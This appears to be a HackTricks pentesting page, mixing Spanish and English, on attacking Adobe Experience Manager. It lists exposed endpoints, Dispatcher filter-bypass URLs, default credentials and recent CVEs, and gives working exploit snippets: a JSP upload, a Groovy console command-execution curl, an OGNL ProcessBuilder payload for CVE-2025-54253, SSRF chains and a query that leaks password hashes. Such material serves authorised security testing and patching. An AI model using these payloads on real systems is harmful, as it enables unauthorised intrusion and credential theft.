AEM (Adobe Experience Manager) Pentesting
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) es un CMS empresarial que se ejecuta sobre Apache Sling/Felix (OSGi) y un Java Content Repository (JCR). Desde la perspectiva de un atacante, las instancias AEM con frecuencia exponen endpoints de desarrollo peligrosos, reglas débiles de Dispatcher, credenciales por defecto y una larga cola de CVEs que se parchean cada trimestre.
The checklist below focuses on externally reachable (unauth) attack surface that keeps showing up in real engagements (2022-2026).
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Other quick indicators:
/etc.clientlibs/ruta estática presente (devuelve JS/CSS)./libs/granite/core/content/login.htmlpágina de login con el banner “Adobe Experience Manager”.</script><!--/* CQ */-->comentario al final del HTML.
2. Endpoints no autenticados de alto valor
| Path | What you get | Notes |
|---|---|---|
/.json, /.1.json | nodos JCR via DefaultGetServlet | Often blocked, but Dispatcher bypass (see below) works. |
/bin/querybuilder.json?path=/ | QueryBuilder API | Leak del árbol de páginas, rutas internas, nombres de usuario. |
/system/console/status-*, /system/console/bundles | OSGi/Felix console | 403 by default; if exposed & creds found ⇒ bundle-upload RCE. |
/crx/packmgr/index.jsp | Package Manager | Permite content packages autenticados → JSP payload upload. |
/etc/groovyconsole/** | AEM Groovy Console | Si está expuesto → ejecución arbitraria de Groovy / Java. |
/libs/cq/AuditlogSearchServlet.json | Audit logs | Divulgación de información. |
/libs/cq/ui/content/dumplibs.html | ClientLibs dump | XSS vector. |
/adminui/debug | AEM Forms on JEE Struts dev-mode OGNL evaluator | En instalaciones Forms mal configuradas (CVE-2025-54253) este endpoint ejecuta OGNL sin autenticación → RCE. |
Dispatcher bypass tricks (still working in 2025/2026)
La mayoría de los sitios de producción están detrás del Dispatcher (reverse-proxy). Las reglas de filtrado se eluden frecuentemente abusando de caracteres codificados o de extensiones estáticas permitidas.
- Clásico punto y coma + extensión permitida
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Encoded slash bypass (2025 KB ka-27832)
GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1
If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.
3. Configuraciones erróneas comunes (todavía vigentes en 2026)
- Anonymous POST servlet –
POST /.jsoncon:operation=importpermite plantar nuevos nodos JCR. Bloquear POST a*.jsonen el Dispatcher lo soluciona. - World-readable user profiles – el ACL por defecto concede
jcr:readen/home/users/**/profile/*a todo el mundo. - Default credentials –
admin:admin,author:author,replication:replication. - WCMDebugFilter habilitado ⇒ reflected XSS vía
?debug=layout(CVE-2016-7882, aún encontrado en instalaciones legacy 6.4). - Groovy Console exposed – ejecución remota de código enviando un script Groovy:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
- Dispatcher encoded-slash gap –
/bin/querybuilder.jsony/etc/truststore.jsonaccesibles con%2f/%3Bincluso cuando están bloqueados por filtros de ruta. - AEM Forms Struts devMode left enabled –
/adminui/debug?expression=evalúa OGNL sin autenticación (CVE-2025-54253) conduciendo a RCE sin auth; acompañado de XXE en el envío de Forms (CVE-2025-54254) permite lectura de archivos.
4. Vulnerabilidades recientes (cadencia de service-pack)
| Trimestre | CVE / Boletín | Afectado | Impacto |
|---|---|---|---|
| Dec 2025 | APSB25-115, CVE-2025-64537/64539 | 6.5.24 & earlier, Cloud 2025.12 | Múltiples XSS críticos/almacenados → ejecución de código vía author UI. |
| Sep 2025 | APSB25-90 | 6.5.23 & earlier | Cadena de bypass de seguridad (Dispatcher auth checker) – actualizar a 6.5.24/Cloud 2025.12. |
| Aug 2025 | CVE-2025-54253 / 54254 (AEM Forms JEE) | Forms 6.5.23.0 and earlier | DevMode OGNL RCE + XXE lectura de archivos, sin autenticación. |
| Jun 2025 | APSB25-48 | 6.5.23 & earlier | Stored XSS y escalada de privilegios en components de Communities. |
| Dec 2024 | APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74) | 6.5.22 & earlier | DOM/Stored XSS, ejecución arbitraria de código (bajos privilegios). |
| Dec 2023 | APSB23-72 | ≤ 6.5.18 | XSS basado en DOM vía URL manipulada. |
Siempre revisa el boletín APSB que corresponda al service-pack del cliente y exige la versión más reciente 6.5.24 (Nov 26, 2025) o Cloud Service 2025.12. AEM Forms on JEE requiere su propio add-on hotfix 6.5.0-0108+.
5. Fragmentos de explotación
5.1 RCE via dispatcher bypass + JSP upload
Si la escritura anónima es posible:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Ahora solicita /content/evil.jsp – el JSP se ejecuta con el usuario del proceso AEM.
5.2 SSRF to RCE (historical < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py de aem-hacker automatiza la cadena completa.
5.3 OGNL RCE on AEM Forms JEE (CVE-2025-54253)
# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"
Si es vulnerable, el cuerpo HTTP contiene la salida del comando.
5.4 QueryBuilder hash disclosure (encoded slash bypass)
GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1
Devuelve nodos de usuario incluyendo rep:password hashes cuando los ACL de lectura anónima son por defecto.
6. Herramientas
- aem-hacker – Swiss-army enumeration script, soporta dispatcher bypass, SSRF detection, default-creds checks y más.
python3 aem_hacker.py -u https://target --host attacker-ip
- Tenable WAS plugin 115065 – Detecta QueryBuilder hash disclosure & encoded-slash bypass automáticamente (publicado Dec 2025).
- Content brute-force – solicita recursivamente
/_jcr_content.(json|html)para descubrir componentes ocultos. - osgi-infect – sube un OSGi bundle malicioso vía
/system/console/bundlessi creds disponibles.
Referencias
- Adobe Security Bulletin APSB25-115 – Security updates for Adobe Experience Manager (Dec 9, 2025)
- BleepingComputer – Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


